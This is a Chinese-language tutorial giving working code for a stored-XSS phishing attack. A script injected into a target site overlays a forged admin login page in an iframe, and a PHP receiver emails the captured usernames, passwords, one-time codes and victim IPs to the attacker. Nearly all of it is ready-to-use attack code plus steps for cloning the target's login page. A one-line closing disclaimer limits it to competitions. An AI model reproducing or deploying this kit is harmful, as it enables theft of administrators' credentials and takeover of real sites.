1.新建一个xss.js文件,内容如下,放在服务器里便于调用
var qad = getCookie("qqq");
if (qad==null)
{
//跳转代码
setTimeout(function(){
alert("登陆过期,请重新登陆!");
parent.document.writeln("<iframe style=\"margin:0px;padding:0px;height:100%;width:100%;\" src=\"https://xxx.xxx.xxx/login/target_login.html\" frameBorder=0 scrolling=no>");
setTimeout(function(){ document.getElementsByTagName("body")[0].setAttribute("style","margin:2px;");},100);
setTimeout(function(){ parent.document.getElementsByTagName("body")[0].setAttribute("style","margin:0px;");},100); },500);
//跳转代码结束
setCookie("qqq","1");
}
function setCookie(name,value)
{
var Days = 10;
var exp = new Date(); //new Date("December 31, 9998");
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie = name + "="+ escape(value) +";expires="+ exp.toGMTString();
}
function getCookie(name)
{
var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
if(arr != null) return unescape(arr[2]); return null;
}
将这段js以xss方式插入到目标里,即<script src=”你服务器/xss.js”></script>
简单说一下代码,插入目标之后,会新建一个cookie值,如果不存在这个值,就会创建一个iframe,这个iframe引用伪造的登陆页面并覆盖当前的后台页面,这就让其url地址不改变,不会让目标产生怀疑。而且这样的xss通过cookie设置,只执行一次,除非删了cookie qad值,才会反复执行xss。
代码中https://xxx.xxx.xxx/login/target_login.html 设置成你钓鱼页面html地址,钓鱼页面伪造就直接用目标的登陆页面右击源码,直接复制保存到自己的web服务器里作为target_login.html文件保存,并修改html中js,css等资源为目标服务器的url地址,修改html中登陆表单form里面的action地址为你web服务器接收账号和密码的地址,这里我们使用index.php 来获取账号和密码。index.php的代码如下:
<?php
use PHPMailer\PHPMailer\PHPMailer;
require './PHPMailer.php';
require './SMTP.php';
$mail = new PHPMailer(true);
$str='';
$str.='用户名:'.$_POST['username'].'--'; //username为form表单中的name值
$str.='密码:'.$_POST['password'].'--'; //password为form表单中的name值
$str.='验证口令:'.$_POST['verifyCode'].'--'; //动态验证口令
$str.='登陆IP:'.$_SERVER["REMOTE_ADDR"].'--';//被钓鱼的登陆IP信息
$str.='登陆时间:'.date("Y-m-d H:i:s"); //被钓鱼的登陆时间
try{
//服务器配置
$mail->CharSet ="UTF-8"; //设定邮件编码
$mail->SMTPDebug = 0; // 调试模式输出
$mail->isSMTP(); // 使用SMTP
$mail->Host = 'smtp.163.com'; // SMTP服务器
$mail->SMTPAuth = true; // 允许 SMTP 认证
$mail->Username = '[email protected]'; // SMTP 用户名 即邮箱的用户名
$mail->Password = 'xxxxxxxxxxxx'; // SMTP 密码 部分邮箱是授权码(例如163邮箱)
$mail->SMTPSecure = 'ssl'; // 允许 TLS 或者ssl协议
$mail->Port = 465; // 服务器端口 25 或者465 具体要看邮箱服务器支持
$mail->setFrom('[email protected]','xxxxx'); //发件人
$mail->addAddress('[email protected]'); // 收件人
$mail->isHTML(true); // 是否以HTML文档格式发送 发送后客户端可直接显示对应HTML内容
$mail->Subject = '账号密码通知-' .date("Y-m-d H:i:s");;
$mail->Body = '<h2>'.$str.'</h2>';
$mail->AltBody = '如果邮件客户端不支持HTML则显示此内容';
$mail->send();
}catch (Exception $e) {
exit();
}
//返回到管理员登陆后的后台首页,可以在伪造的登陆按钮处添加 onclick="javascript:window.history.go(-1)"实现回跳,或者使用onclick="javascript:window.location.href='https://xxx.xxx.xxx/admin/index'"指定后台页面。
其中PHPMailer.php文件和SMTP.php 文件可以到github的phpmailer项目里面下载,这两个文件就可以实现发邮件了。
这个代码主要是获取钓鱼页面的账号密码以及IP信息发送到邮箱。
其主要流程就是插入xss.js到目标—->在目标里设置一个cookie防止重复调用xss—->通过xss.js文件创建一个iframe—->iframe伪造一个目标后台登陆页面—->表单数据提交到index.php文件—–>index.php文件发送邮件到邮箱。
以上内容仅限攻防赛的时候测试使用,请勿用于非法操作和测试。